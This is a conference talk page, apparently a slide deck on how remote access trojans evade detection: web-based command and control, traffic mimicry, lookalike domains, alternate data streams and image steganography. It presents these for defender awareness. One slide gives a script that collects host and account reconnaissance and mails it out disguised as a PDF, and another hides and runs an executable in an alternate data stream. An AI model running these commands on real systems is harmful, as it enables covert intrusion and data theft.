CodeStock14: Hiding in Plain Sight

•

0 gefällt mir•4,932 views

Rob Gillen

Presentation from

Technologie Design

HidinginPlainSight
Presentedby /RobGillen @argodev
Thisworkislicensedundera .
Thistalkandrelatedresourcesareavailableonline:
CreativeCommonsAttribution4.0InternationalLicense
https://github.com/argodev/talks/

Disclaimer
Thecontentofthispresentationrepresentsmypersonalviews
andthoughtsatthepresenttime.Ireservetherighttochange
myviewsandopinionsatanytime.Thiscontentisnotendorsed
by,orrepresentativeinanywayofmyemployernorisit
intendedtobeaviewintomyworkorareflectiononthetype
ofworkthatIormygroupperforms.Itissimplyahobbyand
personalinterestandshouldbeconsideredassuch.

Overview
RATDesign
Encryption
Command/Control(C2)
AntiVirus
Behavior

RATDesign
Exeisdroppedviainfectedpage
Querieswebpageforcommands
Performscommandsifnotdonepreviously
Periodicallypollsfornewcommands

Encryption
ComplexEncryptionistrivial
PBKDF–Scryptsequentialmemory-hardfunction
Manyiterations(>10K)
Longkey-lengths

EncryptionExample
Aboveconfigurationiscustom-hardwareresistant
Takesapproximately¼secondperguess

Command/Control
UseWeb2CApproach
Commandsare“issued”enmassevianormal,benignlooking
webpages
Commonports
LeveragesexistingHTML/serverconstructs

CommandText
ipconfig /all > %APPDATA%info.txt
net start >> %APPDATA%info.txt
tasklist /v >> %APPDATA%info.txt
net user >> %APPDATA%info.txt
net localgroup administrators >> %APPDATA%info.txt
netstat -ano >> %APPDATA%info.txt
net use >> %APPDATA%info.txt
copy %APPDATA%info.txt %APPDATA%output.pdf
del %APPDATA%info.txt
sendmail %APPDATA%output.pdf Status Update
“Jones, William E. wejones@yourorg.gov”
itebaffe-836@yopmail.com smtp.yourorg.gov
del %APPDATA%output.pdf

MimicUserBehavior
TrafficRates
Monitorincoming/outgoingnetworktrafficforXdays
ConfigurexfiltostaywithinX%of“normal”
C2
Exponential/randomizedstand-down
Onlycommduringperiodsofactivity

MimicUserBehavior
TargetURLs
Monitoroutgoingwebqueries/URLsforXdays
Usesimilardomainnamesformalicioustraffic
Appendsimilar/samequerystringstomaliciousrequests

HidinginLogs
v-client-5b.sjc.dropbox.com
snt-re3-9a.sjc.dropbox.com
yn-in-f125.1e100.net
l1.ycs.vip.dcb.yahoo.com
snt-re3-9a.sjc.drpbox.com
ip-69-31-29-228.nlayer.net
a23-47-20-211.deploy.static.akamaitechnologies.com
l3.ycs.vip.dcb.yahoo.com
ir2.fp.vip.bf1.yahoo.com
www.nbcnews.com.edgesuite.net
wac.946A.edgecastcdn.net
a2.twimg.com

OtherHidingTechniques
OfficeFilecontentembedding
Creativelocation
AlternateDataStreams
LeastSignificantBit
NetworkProtocolManipulation

AlternateDataStreams
FeatureofNTFSsinceNT3.5.1
Usedformetadataandcompatibilitywithotherfilesystems

SoWhat?
#notepad pcast-nitrd-report-2010.pdf:secret.txt

Whataboutthis?
#type evil.exe > notepad.exe:evil.exe
#start notepad.exe:evil.exe

CrudeImageStego:LSB
LeastSignificantBit–alteritandencodemessageacross
LSBthroughvariousbytes
Visuallyimperceptible
Computationallychallengingtodetect
Encryptionalsoanoption

CarrierImage
ImageData:
Size:2.1MB
Dimensions:
3500x2343px
Resolution:300dpi
BitDepth:24
~8Megapixel
“Secret”Message:
Welcome!Remember,
thingsaren’talways
whattheyseem.

NextSteps
Knowwhatyoucanandcan’tsee
Considerimplicationsofyourmonitoringstrategy
Behavior*must*playarole

Questions/Contact
RobGillen
rob@gillenfamily.net
http://rob.gillenfamily.net
@argodev
Thistalkandrelatedresourcesareavailableonline:
https://github.com/argodev/talks/

Weitere ähnliche Inhalte

Ähnlich wie CodeStock14: Hiding in Plain Sight

Github github-githubfusion2011

Trends in Enterprise DevOps (August 2020)Daniel Hurst

SOA.2020Diego Pacheco

Von JavaEE auf Microservice in 6 Monaten - The Good, the Bad, and the wtfs...André Goliath

Blue team reboot - HackFest Haydn Johnson

API-First Design and DjangoKlaus Peter Laube

10 Reasons Your Software Sucks - Election 2012 EditionCaleb Jenkins

Dirigible @ SkyscannerJordan Pavlov

X-celerate 2019: Iterating fast with the MERN StackHaufe-Lexware GmbH & Co KG

CloudLand 2023: Rock, Paper, Scissors Cloud Competition - Go vs. JavaJan Stamer

[Intel Android Webinar Series] Esploriamo Intel XDK, uno strumento incredibileBeMyApp

Jaap Groeneveld - Software Engineering PrinciplesJaapGroeneveld2

Gauravsing sisodiyaGauravsingh Sisodiya

NoOps for noobs; why i think Devs do not need OpsGeert van der Cruijsen

What Web Framework To Use?Kasra Khosravi

apidays Australia 2022 - Lessons from doing EdgeDevOps (GitOps) in the bush, ...apidays

AI: Your Personal InternJoe Brinkman

Teaching Elephants to Dance (and Fly!) A Developer's Journey to Digital Trans...Burr Sutter

Notes (2012-06-08)Chris Pitt

Ähnlich wie CodeStock14: Hiding in Plain Sight (20)

Github github-github

Trends in Enterprise DevOps (August 2020)

SOA.2020

Von JavaEE auf Microservice in 6 Monaten - The Good, the Bad, and the wtfs...

Blue team reboot - HackFest

API-First Design and Django

10 Reasons Your Software Sucks - Election 2012 Edition

Dirigible @ Skyscanner

X-celerate 2019: Iterating fast with the MERN Stack

CloudLand 2023: Rock, Paper, Scissors Cloud Competition - Go vs. Java

[Intel Android Webinar Series] Esploriamo Intel XDK, uno strumento incredibile

Jaap Groeneveld - Software Engineering Principles

Gauravsing sisodiya

NoOps for noobs; why i think Devs do not need Ops

What Web Framework To Use?

apidays Australia 2022 - Lessons from doing EdgeDevOps (GitOps) in the bush, ...

AI: Your Personal Intern

Teaching Elephants to Dance (and Fly!) A Developer's Journey to Digital Trans...

Notes (2012-06-08)

Mehr von Rob Gillen

How well do you know your runtimeRob Gillen

Software defined radio and the hackerRob Gillen

So whats in a passwordRob Gillen

Hiding in plain sightRob Gillen

DevLink - WiFu: You think your wireless is secure?Rob Gillen

You think your WiFi is safe?Rob Gillen

Anatomy of a Buffer Overflow AttackRob Gillen

Intro to GPGPU with CUDA (DevLink)Rob Gillen

AWS vs. AzureRob Gillen

A Comparison of AWS and Azure - Part2Rob Gillen

A Comparison of AWS and Azure - Part 1Rob Gillen

Intro to GPGPU Programming with CudaRob Gillen

Scaling Document Clustering in the CloudRob Gillen

Hands On with Amazon Web Services (StirTrek)Rob Gillen

Windows Azure: Lessons From The FieldRob Gillen

Amazon Web Services for the .NET DeveloperRob Gillen

05561 Xfer Research 02Rob Gillen

05561 Xfer Research 01Rob Gillen

05561 Xfer Consumer 01Rob Gillen

Cloud Storage Upload Tests 02Rob Gillen

Mehr von Rob Gillen (20)

How well do you know your runtime

Software defined radio and the hacker

So whats in a password

Hiding in plain sight

DevLink - WiFu: You think your wireless is secure?

You think your WiFi is safe?

Anatomy of a Buffer Overflow Attack

Intro to GPGPU with CUDA (DevLink)

AWS vs. Azure

A Comparison of AWS and Azure - Part2

A Comparison of AWS and Azure - Part 1

Intro to GPGPU Programming with Cuda

Scaling Document Clustering in the Cloud

Hands On with Amazon Web Services (StirTrek)

Windows Azure: Lessons From The Field

Amazon Web Services for the .NET Developer

05561 Xfer Research 02

05561 Xfer Research 01

05561 Xfer Consumer 01

Cloud Storage Upload Tests 02

Kürzlich hochgeladen

The Ultimate Guide to Choosing WordPress Pros and ConsPixlogix Infotech

"ML in Production",Oleksandr BaganFwdays

Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxLoriGlavin3

CloudStudio User manual (basic edition):comworks

TeamStation AI System Report LATAM IT Salaries 2024Lonnie McRorey

E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptxnull - The Open Security Community

Vertex AI Gemini Prompt Engineering TipsMiki Katsuragi

What's New in Teams Calling, Meetings and Devices March 2024Stephanie Beckett

Are Multi-Cloud and Serverless Good or Bad?Mattias Andersson

Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfPrecisely

Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage CostZilliz

SAP Build Work Zone - Overview L2-L3.pptxNavinnSomaal

"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...Fwdays

Advanced Test Driven-Development @ php[tek] 2024Scott Keck-Warren

Designing IA for AI - Information Architecture Conference 2024Enterprise Knowledge

DMCC Future of Trade Web3 - Special EditionDubai Multi Commodity Centre

Nell’iperspazio con Rocket: il Framework Web di Rust!Commit University

Advanced Computer Architecture – An IntroductionDilum Bandara

TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc

Human Factors of XR: Using Human Factors to Design XR SystemsMark Billinghurst

Kürzlich hochgeladen (20)

The Ultimate Guide to Choosing WordPress Pros and Cons

"ML in Production",Oleksandr Bagan

Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx

CloudStudio User manual (basic edition):

TeamStation AI System Report LATAM IT Salaries 2024

E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx

Vertex AI Gemini Prompt Engineering Tips

What's New in Teams Calling, Meetings and Devices March 2024

Are Multi-Cloud and Serverless Good or Bad?

Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf

Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost

SAP Build Work Zone - Overview L2-L3.pptx

"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...

Advanced Test Driven-Development @ php[tek] 2024

Designing IA for AI - Information Architecture Conference 2024

DMCC Future of Trade Web3 - Special Edition

Nell’iperspazio con Rocket: il Framework Web di Rust!

Advanced Computer Architecture – An Introduction

TrustArc Webinar - How to Build Consumer Trust Through Data Privacy

Human Factors of XR: Using Human Factors to Design XR Systems

CodeStock14: Hiding in Plain Sight

1. HidinginPlainSight Presentedby /RobGillen @argodev Thisworkislicensedundera . Thistalkandrelatedresourcesareavailableonline: CreativeCommonsAttribution4.0InternationalLicense https://github.com/argodev/talks/

2. Disclaimer Thecontentofthispresentationrepresentsmypersonalviews andthoughtsatthepresenttime.Ireservetherighttochange myviewsandopinionsatanytime.Thiscontentisnotendorsed by,orrepresentativeinanywayofmyemployernorisit intendedtobeaviewintomyworkorareflectiononthetype ofworkthatIormygroupperforms.Itissimplyahobbyand personalinterestandshouldbeconsideredassuch.

4. HTDCS HelpdeskTicketDrivenCyberSecurity

7. Overview RATDesign Encryption Command/Control(C2) AntiVirus Behavior

8. RATDesign Exeisdroppedviainfectedpage Querieswebpageforcommands Performscommandsifnotdonepreviously Periodicallypollsfornewcommands

9. Encryption ComplexEncryptionistrivial PBKDF–Scryptsequentialmemory-hardfunction Manyiterations(>10K) Longkey-lengths

10. EncryptionExample Aboveconfigurationiscustom-hardwareresistant Takesapproximately¼secondperguess

11. Command/Control UseWeb2CApproach Commandsare“issued”enmassevianormal,benignlooking webpages Commonports LeveragesexistingHTML/serverconstructs

12.

13.

14.

15. CommandText ipconfig /all > %APPDATA%info.txt net start >> %APPDATA%info.txt tasklist /v >> %APPDATA%info.txt net user >> %APPDATA%info.txt net localgroup administrators >> %APPDATA%info.txt netstat -ano >> %APPDATA%info.txt net use >> %APPDATA%info.txt copy %APPDATA%info.txt %APPDATA%output.pdf del %APPDATA%info.txt sendmail %APPDATA%output.pdf Status Update “Jones, William E. wejones@yourorg.gov” itebaffe-836@yopmail.com smtp.yourorg.gov del %APPDATA%output.pdf

16. MimicUserBehavior TrafficRates Monitorincoming/outgoingnetworktrafficforXdays ConfigurexfiltostaywithinX%of“normal” C2 Exponential/randomizedstand-down Onlycommduringperiodsofactivity

17. MimicUserBehavior TargetURLs Monitoroutgoingwebqueries/URLsforXdays Usesimilardomainnamesformalicioustraffic Appendsimilar/samequerystringstomaliciousrequests

18. HidinginLogs v-client-5b.sjc.dropbox.com snt-re3-9a.sjc.dropbox.com yn-in-f125.1e100.net l1.ycs.vip.dcb.yahoo.com snt-re3-9a.sjc.drpbox.com ip-69-31-29-228.nlayer.net a23-47-20-211.deploy.static.akamaitechnologies.com l3.ycs.vip.dcb.yahoo.com ir2.fp.vip.bf1.yahoo.com www.nbcnews.com.edgesuite.net wac.946A.edgecastcdn.net a2.twimg.com

19. OtherHidingTechniques OfficeFilecontentembedding Creativelocation AlternateDataStreams LeastSignificantBit NetworkProtocolManipulation

20.

21.

22.

23.

24.

25.

26. CreativeFileLocations

27. AlternateDataStreams FeatureofNTFSsinceNT3.5.1 Usedformetadataandcompatibilitywithotherfilesystems